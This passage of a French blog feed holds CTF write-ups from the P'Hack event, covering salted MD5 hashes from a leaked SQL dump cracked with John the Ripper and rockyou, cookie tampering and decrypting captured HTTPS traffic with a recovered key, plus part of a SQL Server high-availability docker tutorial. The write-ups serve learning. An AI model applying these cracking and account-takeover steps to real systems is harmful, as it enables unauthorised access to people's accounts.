<!--kg-card-end: markdown--><p>On acc&#xE8;de &#xE0; ce fichier via l&apos;url <a href="http://the-faceboox.phack.fr/old_Test_Database.sql">http://the-faceboox.phack.fr/old_Test_Database.sql</a> et on r&#xE9;cup&#xE8;re un fichier SQL qui ressemble au requ&#xEA;tes qui auraient pu &#xEA;tre utilis&#xE9; pour cr&#xE9;er et initialiser la base de donn&#xE9;es. Voici la portion du fichier qui va nous int&#xE9;resser : </p><!--kg-card-begin: markdown--><pre><code class="language-sql">DROP TABLE IF EXISTS `press`;
CREATE TABLE `press` (
  `id` bigint unsigned NOT NULL AUTO_INCREMENT,
  `user` text,
  `passwd` text,
  UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
INSERT INTO `press` VALUES (1,&apos;demo&apos;,&apos;&apos;),(2,&apos;cnn&apos;,&apos;&apos;),(3,&apos;nyt&apos;,&apos;&apos;),(4,&apos;guardian&apos;,&apos;&apos;),(5,&apos;fox&apos;,&apos;&apos;);

DROP TABLE IF EXISTS `students`;
CREATE TABLE `students` (
  `id` bigint unsigned NOT NULL AUTO_INCREMENT,
  `mail` text,
  `passwd` text,
  `postfix_hash_salt` text,
  `first_name` text,
  UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
INSERT INTO `students` VALUES 
(1,&apos;mike.spen@harvard.edu&apos;,&apos;a1a93242bea0cd80285ccfaf69ff96b1&apos;,&apos;7heF@c3b00x&apos;,&apos;Mike&apos;),
(2,&apos;laura00@aol.com&apos;,&apos;cb24a277e4b0c98e2d5eefbc17b2e658&apos;,&apos;7heF@c3b00x&apos;,&apos;Laura&apos;),
(3,&apos;kev.rgn@caramail.com&apos;,&apos;a066fcee06d941af7c0dfbdd05c4cda3&apos;,&apos;7heF@c3b00x&apos;,&apos;Kevin&apos;),
(4,&apos;rachel.west@fox-news.com&apos;,&apos;a8a2ddbeeff303b0694e480c32c8ae6c&apos;,&apos;7heF@c3b00x&apos;,&apos;Rachel&apos;);
</code></pre>
<p>On a donc la liste des comptes presses qui ont &#xE9;t&#xE9; ajout&#xE9; dans la base de donn&#xE9;es mais sans leurs mots de passes. Et la liste des utilisateurs (except&#xE9; le 5) avec leurs email, le mot de passe qui semble hash&#xE9; en MD5 et un champ <code>postfix_hash_salt</code> qui serait bien un salt ajout&#xE9; au mot de passe avant d&apos;&#xEA;tre hash&#xE9;. On va donc essayer de cracker les mots de passes des 4 utilisateurs que l&apos;on a ici avec John The Ripper.<br>
Puisqu&apos;il y a eu un salt d&apos;utilis&#xE9; ici, on va cr&#xE9;er notre fichier d&apos;input avec les infos de ce salt sous le format <code>user:hash$salt</code>:</p>
<pre><code class="language-text">mike:a1a93242bea0cd80285ccfaf69ff96b1$7heF@c3b00x
laura:cb24a277e4b0c98e2d5eefbc17b2e658$7heF@c3b00x
kev:a066fcee06d941af7c0dfbdd05c4cda3$7heF@c3b00x
rachel:a8a2ddbeeff303b0694e480c32c8ae6c$7heF@c3b00x
</code></pre>
<p>On a tronqu&#xE9; les noms d&apos;utilisateur pour ne pas s&apos;emb&#xEA;ter. On liste ensuite les subformats support&#xE9; par Jogn The Ripper pour trouver lequel est le mieux adapt&#xE9; &#xE0; notre probl&#xE8;me :</p>
<pre><code>$ john --list=subformats | grep md5
Format = dynamic_0   type = dynamic_0: md5($p) (raw-md5)
Format = dynamic_1   type = dynamic_1: md5($p.$s) (joomla)
Format = dynamic_2   type = dynamic_2: md5(md5($p)) (e107)
Format = dynamic_3   type = dynamic_3: md5(md5(md5($p)))
Format = dynamic_4   type = dynamic_4: md5($s.$p) (OSC)
...
</code></pre>
<p>Dans les premiers on voit que le dynamic_1 pourrait correspondre, il hash avec la fonction <code>md5(password . salt)</code> ce qui est exactement ce que l&apos;on souhaite. On lance donc la commande pour cracker nos mots de passes en se servant de la liste rockyou.</p>
<pre><code class="language-bash">$ john user.txt -form=dynamic_1 --wordlist=rockyou.txt
</code></pre>
<p>En quelques secondes les mots de passes sont crack&#xE9;s et on peut les afficher avec la commande suivante</p>
<pre><code class="language-bash">$ john --show --format=dynamic_1 user.txt
mike:Mike94
laura:XxlauraxX
kev:NarutoUzumaki
rachel:fox12345
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>&#xC0; partir de l&#xE0;, on se connecte sur le site avec les emails et mots de passes que l&apos;on a r&#xE9;cup&#xE9;r&#xE9;, les 3 premiers ne sont pas sp&#xE9;cialement int&#xE9;ressant, seulement quelques messages &#xE9;chang&#xE9;s entre eux. Ontrouve par contre sur le compte de Rachel ce message provenant de Mark Zuckerberg en personne :</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-14.png" class="kg-image" alt loading="lazy" width="506" height="175"></figure><p>En allant v&#xE9;rifier le script SQL d&apos;initialisation de la base de donn&#xE9;es qu&apos;on avait r&#xE9;cup&#xE9;rer, on se rend compte que le compte presse de Fox News &#xE0; l&apos;id 5 (qui est l&apos;id du dernier utilisateur auquel nous n&apos;avons pas acc&#xE8;s). On se connecte donc avec le compte fox et le mot de passe fourni dans le message avant de changer le type de compte dans le cookie en student comme pr&#xE9;c&#xE9;demment et de r&#xE9;cup&#xE9;rer le flag dans les messages personnels de Mark Zuckerberg.</p><!--kg-card-begin: markdown--><pre><code>PHACK{1Nt3rnet_C&apos;e7ait_m1euX_Av@nt!:(}
</code></pre>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-15.png" class="kg-image" alt loading="lazy" width="508" height="123"></figure><h3 id="liens-utiles">Liens utiles </h3><p></p><p>Pleins d&apos;informations sur comment utiliser John The Ripper</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://vk9-sec.com/cracking-password-john-the-ripper/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Cracking Password John The Ripper | VK9 Security</div><div class="kg-bookmark-description">John the Ripper is a fast password cracker, currently available for many flavors of Unix, macOS, Windows, DOS, BeOS, and OpenVMS (the latter requires a contributed patch). Its primary purpose is to detect weak passwords. Read more&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://vk9-sec.com/wp-content/uploads/2020/02/mark-e1580923933870.png" alt><span class="kg-bookmark-author">VK9 Security</span><span class="kg-bookmark-publisher">Published by Vry4n_ on 1st April 20201st April 2020</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://vk9-sec.com/wp-content/uploads/2020/04/word-image.png" alt></div></a></figure><p>Exegol, un container docker contenant plein d&apos;outil pre packag&#xE9;</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/ShutdownRepo/Exegol"><div class="kg-bookmark-content"><div class="kg-bookmark-title">ShutdownRepo/Exegol</div><div class="kg-bookmark-description">Exegol is a fully featured and community-driven hacking environment - ShutdownRepo/Exegol</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.githubassets.com/favicons/favicon.svg" alt><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">ShutdownRepo</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://repository-images.githubusercontent.com/246120835/336bee80-2986-11eb-9bb1-6ddf03e4e882" alt></div></a></figure><p></p>]]></content:encoded></item><item><title><![CDATA[P'Hack - Cryptography]]></title><description><![CDATA[<p>4 challenges dans cette cat&#xE9;gorie, du tr&#xE8;s simple &#xE0; un peu plus compliqu&#xE9;.</p><h3 id="guacamole-128pts">Guacamole - 128pts</h3><blockquote>Un bon avocat vous serait s&#xFB;rement d&apos;une aide pr&#xE9;cieuse..<br>M&apos;ocd lbkfy ! Ox rywwkqo ke wosvvoeb kfymkd no xydbo qoxobkdsyx, vo pvkq</blockquote>]]></description><link>https://blog.julienmialon.com/phack-cryptographie/</link><guid isPermaLink="false">6070766a09b5560001f6369c</guid><category><![CDATA[ctf]]></category><category><![CDATA[ctf-phack]]></category><category><![CDATA[ctf-cryptography]]></category><dc:creator><![CDATA[Julien Mialon]]></dc:creator><pubDate>Sun, 11 Apr 2021 16:00:23 GMT</pubDate><content:encoded><![CDATA[<p>4 challenges dans cette cat&#xE9;gorie, du tr&#xE8;s simple &#xE0; un peu plus compliqu&#xE9;.</p><h3 id="guacamole-128pts">Guacamole - 128pts</h3><blockquote>Un bon avocat vous serait s&#xFB;rement d&apos;une aide pr&#xE9;cieuse..<br>M&apos;ocd lbkfy ! Ox rywwkqo ke wosvvoeb kfymkd no xydbo qoxobkdsyx, vo pvkq ocd wkbCrkvvObsUCox. T&apos;oczobo aeo vo toe no wyd fyec kebk zve (&quot;K fked U&quot;)!<br>Le flag est &#xE0; rendre au format `PHACK{...}`.</blockquote><p>Un petit challenge assez simple pour d&#xE9;marrer, le contenu ressemble &#xE0; un d&#xE9;calage de caract&#xE8;res du genre du chiffre de C&#xE9;sar, il nous faut juste trouver le d&#xE9;calage en question. Un site assez pratique pour cela : <a href="https://rot13.com">https://rot13.com</a>, contrairement &#xE0; son nom, il permet d&apos;&#xE9;num&#xE9;rer facilement les d&#xE9;calage de 1 &#xE0; 25. On trouve donc que le d&#xE9;calage &#xE9;tait de 16 et on r&#xE9;cup&#xE8;re le message ci-dessous.</p><blockquote>C&apos;est bravo ! En hommage au meilleur avocat de notre generation, le flag est marShallEriKSen. J&apos;espere que le jeu de mot vous aura plu (&quot;A vaut K&quot;)!</blockquote><!--kg-card-begin: markdown--><p>Le flag est donc <code>PHACK{marShallEriKSen}</code></p>
<!--kg-card-end: markdown--><h3 id="encha-n-128pts">Encha&#xEE;n&#xE9; - 128pts</h3><blockquote>Lors de votre phase de reconnaissance, vous avez trouv&#xE9; une cha&#xEE;ne de caract&#xE8;res &#xE9;trange : <br><br>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJQSGFja0NURiIsI<br>mlhdCI6MTYxNzM4NjQwMCwiZXhwIjoxNjE4MTY0MDAwLCJhdWQiOiIi<br>LCJzdWIiOiIiLCJmbGFnIjoiNTEzMTU2NGY1NTQ2NjgzNzVhMzM1NTc4N<br>WE2YzM4Nzc1OTU0NGU2NjYxNmE1MjZkNTgzMTU2MzI1NTU2NDU3YT<br>U5NTgzMDNkIn0.XsPHPbpV2oHwi8t1dPXblJ2IokuUNhJywOyqKdFB9cw<br><br>Il vous semble conna&#xEE;tre ce format, mais sans certitude.</blockquote><p>Pour le coup, c&apos;est un format assez connu, on est clairement sur du json encod&#xE9; en base64 (les trois premiers caract&#xE8;res eyJ en sont caract&#xE9;ristique). On voit 2 points dans le contenu, marqueurs caract&#xE9;ristiques d&apos;un JWT. Le site <a href="https://jwt.io">https://jwt.io</a> permet de d&#xE9;coder ce genre de token. On trouve le contenu : </p><!--kg-card-begin: markdown--><pre><code class="language-json">{
  &quot;iss&quot;: &quot;PHackCTF&quot;,
  &quot;iat&quot;: 1617386400,
  &quot;exp&quot;: 1618164000,
  &quot;aud&quot;: &quot;&quot;,
  &quot;sub&quot;: &quot;&quot;,
  &quot;flag&quot;: &quot;5131564f554668375a3355785a6c387759544e66616a526d583156325556457a5958303d&quot;
}
</code></pre>
<!--kg-card-end: markdown--><p>La propri&#xE9;t&#xE9; nomm&#xE9; flag nous int&#xE9;resse pas mal, &#xE7;a ressemble &#xE0; de l&apos;hexad&#xE9;cimal. On utilise le site <a href="https://www.rapidtables.com/convert/number/hex-to-ascii.html">https://www.rapidtables.com/convert/number/hex-to-ascii.html</a> pour convertir l&apos;hexad&#xE9;cimal en ASCII pour obtenir</p><!--kg-card-begin: markdown--><p><code>Q1VOUFh7Z3UxZl8wYTNfajRmX1V2UVEzYX0=</code></p>
<!--kg-card-end: markdown--><p>On dirait encore du base64... Un petit tour sur <a href="https://www.base64decode.org">https://www.base64decode.org</a> nous permet de le d&#xE9;coder et d&apos;obtenir quelque chose qui se rapproche d&apos;un flag </p><!--kg-card-begin: markdown--><p><code>CUNPX{gu1f_0a3_j4f_UvQQ3a}</code></p>
<!--kg-card-end: markdown--><p>On sait que le format des flags est PHACK{}, dans le doute, on va retourner sur le site <a href="https://rot13.com">https://rot13.com</a> pour essayer le d&#xE9;calage de lettre. Et il s&apos;agit finalement d&apos;un ROT13 pour obtenir le flag final.</p><!--kg-card-begin: markdown--><p><code>PHACK{th1s_0n3_w4s_HiDD3n}</code></p>
<!--kg-card-end: markdown--><p>Un challenge qui porte bien son nom du coup, plusieurs m&#xE9;thode encha&#xEE;n&#xE9; pour r&#xE9;cup&#xE9;rer ce flag.</p><h3 id="h3lp-256pts">H3lp - 256pts</h3><blockquote>Un message de votre ami intergalactique vient d&apos;arriver !<br>Saurez-vous le d&#xE9;coder &#xE0; temps ?</blockquote><!--kg-card-begin: markdown--><pre><code class="language-text">3()()&#xAF;&#xAF;V)--, &apos;-- v^|--[]_|\|/ &lt;(Z/\&gt;-&apos;v^ []_|&#xAF;&#xAF;U L!LL|_]_]^-]=[[]ZLL| |--() 3&lt;[^&lt;Z &gt;-[]] .. &apos;-- LLVVUU_] _|&apos;--_V_\|/ -^() ^-WUU/\ 3&lt;(v^ _V_&apos;--&#xAF;&#xAF;VZ&lt;{A_^-LL|&#xAF;&#xAF;V. E&gt;- &apos;--Z&gt;LL|[/][--&apos;--LD&lt;||--&apos;--()Zv^ &lt;[A&lt;W _]LL|&lt;|/\&apos;--ZLD EW [--[] |--]=[\|/ &apos;--ZLL&lt;{E()](/) N]A&lt;LD.
E^&lt; A_()|--&lt;([--() &lt;(Z/\ A&lt;LL|&gt;&lt; &lt;{^&lt;W ]=[\|/_]A_&apos;--ZLD ELL| ()Z |--]=[&apos;--v^. E\|/LL|[-- EVV |--[]Z&apos;--LD]=[[--, |&#xAF;&#xAF;A_.E, &lt;[[-- ^-&apos;--NN&lt;|^-_]&lt;{ZUU[--. &apos;-- ]=[\|/&lt;{A&lt;&#xAF;&#xAF;U |--]=[&lt;||-- []Z\|/ []L|_ |--]=[\|/ _|&apos;--[--|--_]VV LD^&lt;LL|WZ EUUZ E&apos;--LD]=[|-- ]=[&lt;|&gt;UU (/)UUWZ V\[]E\|/[--]=[&apos;--ZLD.
&#xAF;&#xAF;U()Z&apos;|-- 3()^&lt;A&lt;&gt;- U()3-^())-- .. 3VV ]=[&lt;(&gt;\|/ &lt;( L|_A&lt;&apos;--UUZ&#xAF;&#xAF;U &apos;--Z ZUUVV&#xAF;&#xAF;U, &lt;{Z&#xAF;&#xAF;V 3W 3&apos;--_|_| Z()[-- ^&lt;LL|(/)|-- ]Z|--&apos;--_| ]=[W&apos;v^ [/]&lt;|LLUU &apos;--Z &lt;|Z&#xAF;&#xAF;U)--&apos;V\ ^&lt;()[]E.
[--&lt;{_V_W L|&lt;[^&lt;\|/.
AA]NN
</code></pre>
<!--kg-card-end: markdown--><blockquote>Le flag est le lieu de rendez-vous en majuscules au format `PHACK{LIEU}`.</blockquote><p>Ce challenge pour le coup nous a pris un peu plus la t&#xEA;te, le titre du challenge &apos;H3lp&apos; nous donne plut&#xF4;t un indice sur du leet speak ou quelque chose associ&#xE9;. En regardant le contenu du texte on voit bien des s&#xE9;quences de caract&#xE8;res qui se r&#xE9;p&#xE8;tent. Les diff&#xE9;rents niveaux de leet speak ne contiennent pas une grande partie des caract&#xE8;res que l&apos;on a ici, il semble donc qu&apos;on a &#xE0; faire &#xE0; une version diff&#xE9;rentes. On fini par trouver le LSPK90 CW, le leet speak &#xE0; 90&#xB0;, &#xE7;a devient beaucoup plus simple &#xE0; lire d&apos;un coup. Pour notre plus grand bonheur, il existe m&#xEA;me un site web <a href="https://www.dcode.fr/lspk90-cw-leet-speak-90-degrees-clockwise">https://www.dcode.fr/lspk90-cw-leet-speak-90-degrees-clockwise</a> qui permet de le d&#xE9;coder. On r&#xE9;cup&#xE8;re donc le message : </p><!--kg-card-begin: markdown--><pre><code class="language-text">WOODY, I STOLE ANDY&apos;S OLD CELLPHONE TO WARN YOU : 
I FEEL LIKE BO PEED WAS KIDNAPPED. 
MY INVESTIGATIONS ARE LEADING ME TO THE INFAMOUS ZURG.
MR POTATO AND REX ARE HELPING ME ON THIS. 
MEET ME TONIGHT, 7P.M, AT PIZZAPLANET. 
I HEARD THAT ONE OF THE LITTLE GREEN MEN MIGHT HAVE SEEN SOMETHING.
DON&apos;T WORRY COWBOY : WE HAVE A FRIEND IN NEED, 
AND WE WILL NOT REST UNTIL HE&apos;S SAFE IN ANDY&apos;S ROOM.
TAKE CARE.
BUZZ
</code></pre>
<p>Et donc le flag est <code>PHACK{PIZZAPLANET}</code></p>
<!--kg-card-end: markdown--><h3 id="certifi-s-curis-256pts">Certifi&#xE9; s&#xE9;curis&#xE9; - 256pts</h3><blockquote>Une de vos connaissance sur le darknet vous informe avoir r&#xE9;ussi &#xE0; s&apos;infiltrer sur l&apos;ordinateur de l&apos;un des admins du CTF.<br>Apr&#xE8;s avoir captur&#xE9; un peu de trafic r&#xE9;seau et r&#xE9;cup&#xE9;r&#xE9; quelques fichiers, la connexion a &#xE9;t&#xE9; coup&#xE9;e subitement.<br><br>Il semblerait qu&apos;il &#xE9;tait en train de travailler sur l&apos;un des challenges du CTF.<br>Voyez si vous arrivez &#xE0; r&#xE9;cup&#xE9;rer un mot de passe !<br><br>Format du flag : PHACK{mot_de_passe}</blockquote><p>Ici on a un fichier zip joint &apos;<a href="https://blog.julienmialon.com/uploads/ctf/phack/stolen_data.zip">stolen_data.zip&apos;</a>, il ne reste plus qu&apos;&#xE0; voir ce qu&apos;on peut faire avec. on trouve le chemin /home/admin et plusieurs fichiers dans le home de l&apos;admin.</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image.png" class="kg-image" alt loading="lazy" width="343" height="272"></figure><p>Apr&#xE8;s &#xE9;tude rapide de tous les fichiers, les 3 qui semblent nous int&#xE9;resser sont les 3 premiers. D&apos;abord le .bash_history va nous en apprendre un peu plus sur ce qui s&apos;est pass&#xE9; sur cette machine : </p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-1.png" class="kg-image" alt loading="lazy" width="671" height="423" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-1.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-1.png 671w"></figure><p>La premi&#xE8;re ligne para&#xEE;t bien trop &#xE9;vidente mais on a test&#xE9;, ce n&apos;est bien entendu pas le flag. Par rapport au nom du challenge, le fait qu&apos;il y ai des certificats nous para&#xEE;t int&#xE9;ressant. Mais comment les r&#xE9;cup&#xE9;rer ? Le docker-build-push.sh peut nous faire penser qu&apos;une image docker a &#xE9;t&#xE9; cr&#xE9;&#xE9; et qu&apos;on va peut &#xEA;tre pouvoir la r&#xE9;cup&#xE9;rer. Et effectivement dans le docker-compose.yml, on trouve une image qui &#xE0; l&apos;air int&#xE9;ressante : </p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-3.png" class="kg-image" alt loading="lazy" width="363" height="213"></figure><p>Un petit tour sur le docker hub et on trouve cette image : <a href="https://hub.docker.com/r/phackctf/challenge">https://hub.docker.com/r/phackctf/challenge</a> </p><!--kg-card-begin: markdown--><p>On va run cette image et lancer un bash dedans pour voir ce qu&apos;il s&apos;y passe avec la commande <code>docker run -it phackctf/challenge /bin/bash</code>. On explore le contenu de l&apos;image et on y trouve deux dossier int&#xE9;ressant : <code>/chall</code> et <code>/cert</code></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-4.png" class="kg-image" alt loading="lazy" width="823" height="106" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-4.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-4.png 823w" sizes="(min-width: 720px) 720px"></figure><p>Le fichier index.php semble &#xEA;tre ce qu&apos;on cherche, puisqu&apos;il contient la forme hash&#xE9;e de ce qu&apos;on suppose &#xEA;tre le mot de passe pour le flag.</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-5.png" class="kg-image" alt loading="lazy" width="1120" height="364" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-5.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-5.png 1000w, https://blog.julienmialon.com/content/images/2021/04/image-5.png 1120w" sizes="(min-width: 720px) 720px"></figure><p>Bien &#xE9;videmment passer le hash dans <a href="https://crackstation.net">https://crackstation.net</a> n&apos;a rien donn&#xE9; (&#xE7;a aurait &#xE9;t&#xE9; trop simple :D). </p><!--kg-card-begin: markdown--><p>Le dossier <code>/cert</code> contient le certificat et la cl&#xE9; priv&#xE9;e RSA qui, on suppose, va avec pour servir la page php en https. &#xC0; ce niveau l&#xE0;, il est int&#xE9;ressant d&apos;aller voir le fichier <code>capture.pcapng</code> qui &#xE9;tait pr&#xE9;sent dans le fichier zip. On l&apos;ouvre avec wireshark et on r&#xE9;cup&#xE8;re les trames r&#xE9;seaux qui ont &#xE9;t&#xE9; &#xE9;chang&#xE9;es. Comme imagin&#xE9;, on y trouve les &#xE9;changes avec la page index.php. Probl&#xE8;me, c&apos;est du https, il est donc n&#xE9;cessaire de charger la cl&#xE9; priv&#xE9;e RSA pour pouvoir le d&#xE9;coder. Un petit tour dans le menu pr&#xE9;f&#xE9;rences -&gt; RSA Keys de wireshark, on ajoute notre cl&#xE9; (r&#xE9;cup&#xE9;r&#xE9;e depuis l&apos;image docker) et l&#xE0; tout devient plus clair.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-6.png" class="kg-image" alt loading="lazy" width="1662" height="798" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-6.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-6.png 1000w, https://blog.julienmialon.com/content/images/size/w1600/2021/04/image-6.png 1600w, https://blog.julienmialon.com/content/images/2021/04/image-6.png 1662w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>On a r&#xE9;cup&#xE9;rer le mot de passe associ&#xE9; au compte admin pour la page pr&#xE9;sente dans le container docker. On le submit sous la forme <code>PHACK{Th1sIsH3llOfAP4ssw0rd!}</code> et le challenge est valid&#xE9;.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[SQLServer : High availability group]]></title><description><![CDATA[<p>Mettre en place une replication sur au moins 3 noeuds avec un serveur SQL. Apr&#xE8;s avoir tent&#xE9; pendant un moment avec mysql que je n&apos;ai jamais r&#xE9;ussi &#xE0; faire fonctionner dans un conteneur docker, je me suis int&#xE9;ress&#xE9; &#xE0; SQLServer</p>]]></description><link>https://blog.julienmialon.com/sql-server-high-availability-group/</link><guid isPermaLink="false">605e225e09b5560001f635db</guid><dc:creator><![CDATA[Julien Mialon]]></dc:creator><pubDate>Mon, 29 Mar 2021 17:31:19 GMT</pubDate><content:encoded><![CDATA[<p>Mettre en place une replication sur au moins 3 noeuds avec un serveur SQL. Apr&#xE8;s avoir tent&#xE9; pendant un moment avec mysql que je n&apos;ai jamais r&#xE9;ussi &#xE0; faire fonctionner dans un conteneur docker, je me suis int&#xE9;ress&#xE9; &#xE0; SQLServer de Microsoft.</p><p>Un peu moins facile d&apos;utilisation que la version MySQL en terme de d&#xE9;veloppement par la suite, il a l&apos;avantage de proposer ce dont j&apos;avais besoin pour mes tests, c&apos;est &#xE0; dire de la r&#xE9;plication de donn&#xE9;es sur au moins 3 noeuds avec la possibilit&#xE9; de failover et tout &#xE7;a dans du docker :-)</p><h3 id="premi-re-tape-configurer-le-container-docker">Premi&#xE8;re &#xE9;tape : configurer le container docker</h3><p>Par d&#xE9;fault le container docker de SQLServer n&apos;a pas les options de haute disponibilit&#xE9; activ&#xE9;e. En soi, ce n&apos;est pas un probl&#xE8;me, il nous suffit de faire notre propre image docker &#xE0; partir de l&apos;original pour l&apos;activer. Voici donc le Dockerfile: </p><!--kg-card-begin: markdown--><pre><code class="language-docker">FROM mcr.microsoft.com/mssql/server:2019-latest

USER root
RUN /opt/mssql/bin/mssql-conf set hadr.hadrenabled  1
RUN /opt/mssql/bin/mssql-conf set sqlagent.enabled true

USER mssql
</code></pre>
<!--kg-card-end: markdown--><p>Seule subtilit&#xE9; ici si vous &#xEA;tes habitu&#xE9; &#xE0; docker c&apos;est le changement en user root avant de lancer les options pour ensuite reswitcher sur l&apos;utilisateur normal du container, &#xE0; savoir, mssql. On le build, chez moi l&apos;image sera nomm&#xE9;e `<em>sqlserver-ha</em>`</p><h3 id="deuxi-me-tape-d-ploiement-de-3-noeuds">Deuxi&#xE8;me &#xE9;tape : d&#xE9;ploiement de 3 noeuds</h3><p>Premi&#xE8;re chose, cr&#xE9;&#xE9; les dossiers de donn&#xE9;es dont on va avoir besoin et donner les droit aux user mssql qui va en avoir besoin : </p><!--kg-card-begin: markdown--><pre><code class="language-bash">mkdir data1 data2 data3 shared1 shared2 shared3
sudo chown 10001 data1 data2 data3 shared1 shared2 shared3
</code></pre>
<!--kg-card-end: markdown--><p>On d&#xE9;ploie ensuite avec le docker compose suivant</p><!--kg-card-begin: markdown--><pre><code>version: &apos;3.6&apos;

services:
  sqlserver1:
    container_name: sqlserver1
    image: sqlserver-ha:latest
    environment:
      SA_PASSWORD: &quot;PB6P88z6b44QCdkt&quot;
      ACCEPT_EULA: &quot;Y&quot;
    volumes:
      - ./data1:/var/opt/mssql/data
      - ./shared1:/var/shared_data
    ports:
      - &quot;14331:1433&quot;
      - &quot;50221:5022&quot;
    hostname: &quot;sqlserver1&quot;
  
  sqlserver2:
    container_name: sqlserver2
    image: sqlserver-ha:latest
    environment:
      SA_PASSWORD: &quot;PB6P88z6b44QCdkt&quot;
      ACCEPT_EULA: &quot;Y&quot;
    volumes:
      - ./data2:/var/opt/mssql/data
      - ./shared2:/var/shared_data
    ports:
      - &quot;14332:1433&quot;
      - &quot;50222:5022&quot;
    hostname: &quot;sqlserver2&quot;

  sqlserver3:
    container_name: sqlserver3
    image: sqlserver-ha:latest
    environment:
      SA_PASSWORD: &quot;PB6P88z6b44QCdkt&quot;
      ACCEPT_EULA: &quot;Y&quot;
    volumes:
      - ./data3:/var/opt/mssql/data
      - ./shared3:/var/shared_data
    ports:
      - &quot;14333:1433&quot;
      - &quot;50223:5022&quot;
    hostname: &quot;sqlserver3&quot;

</code></pre>
<!--kg-card-end: markdown--><p>On notera le fait de rediriger le port 1433 (port standard pour la connexion &#xE0; la base SQLServer) mais aussi le port 5022 qui servira &#xE0; communiquer entre nos noeuds. Bien &#xE9;videmment si vous &#xEA;tes sur une seule machine avec vos 3 noeuds, vous n&apos;avez pas forc&#xE9;ment besoin de rediriger le port 5022. Mais ici on a lanc&#xE9; nos 3 noeuds sur 3 serveurs diff&#xE9;rents.</p><p>On lance le `<em>docker-compose up -d</em>`,<em> </em>on v&#xE9;rifie dans les logs que les serveurs ce sont bien initialis&#xE9; et on peut passer &#xE0; la suite, la configuration du groupe de disponibilit&#xE9;.</p><h3 id="troisi-me-tape-configurer-le-groupe-ha">Troisi&#xE8;me &#xE9;tape : configurer le groupe HA</h3><p>On d&#xE9;finit que notre noeud <strong>sqlserver1</strong> va &#xEA;tre le noeud primaire de notre groupe, on va donc commencer par le configurer en ex&#xE9;cutant ces quelques lignes SQL.</p><!--kg-card-begin: markdown--><pre><code class="language-sql">USE master
GO
-- Create user for replication
CREATE LOGIN dbm_login WITH PASSWORD = &apos;KuDzgdXGR7dD79Uv&apos;;
CREATE USER dbm_user FOR LOGIN dbm_login;
GO
-- Create encryption key to share with other nodes
CREATE MASTER KEY ENCRYPTION BY PASSWORD = &apos;KuDzgdXGR7dD79Uv&apos;;
go
CREATE CERTIFICATE dbm_certificate WITH SUBJECT = &apos;dbm&apos;;
BACKUP CERTIFICATE dbm_certificate
TO FILE = &apos;/var/shared_data/dbm_certificate.cer&apos;
WITH PRIVATE KEY (
        FILE = &apos;/var/shared_data/dbm_certificate.pvk&apos;,
        ENCRYPTION BY PASSWORD = &apos;KuDzgdXGR7dD79Uv&apos;
    );
GO
-- Create replication endpoint to communicate with others
CREATE ENDPOINT [Hadr_endpoint]
    AS TCP (LISTENER_IP = (0.0.0.0), LISTENER_PORT = 5022)
    FOR DATA_MIRRORING (
        ROLE = ALL,
        AUTHENTICATION = CERTIFICATE dbm_certificate,
        ENCRYPTION = REQUIRED ALGORITHM AES
        );
ALTER ENDPOINT [Hadr_endpoint] STATE = STARTED;
GRANT CONNECT ON ENDPOINT::[Hadr_endpoint] TO [dbm_login];
GO

ALTER EVENT SESSION  AlwaysOn_health ON SERVER WITH (STARTUP_STATE=ON);
GO
</code></pre>
<!--kg-card-end: markdown--><p>Lors de la configuration, le noeud primaire a export&#xE9; un certificat dans le dossier <em>shared1</em>, il vous faut maintenant copier le certificat (les deux fichiers) dans les dossiers <em>shared2</em> et <em>shared3</em> pour pouvoir ensuite les importer dans les noeuds correspondant avec le script SQL suivant (&#xE0; ex&#xE9;cuter sur node2 et node3) : </p><!--kg-card-begin: markdown--><pre><code class="language-sql">USE master
GO
-- create user for replication
CREATE LOGIN dbm_login WITH PASSWORD = &apos;KuDzgdXGR7dD79Uv&apos;;
CREATE USER dbm_user FOR LOGIN dbm_login;
GO
-- import certificate from primary node
CREATE MASTER KEY ENCRYPTION BY PASSWORD = &apos;KuDzgdXGR7dD79Uv&apos;;
go
CREATE CERTIFICATE dbm_certificate
    AUTHORIZATION dbm_user
    FROM FILE = &apos;/var/shared_data/dbm_certificate.cer&apos;
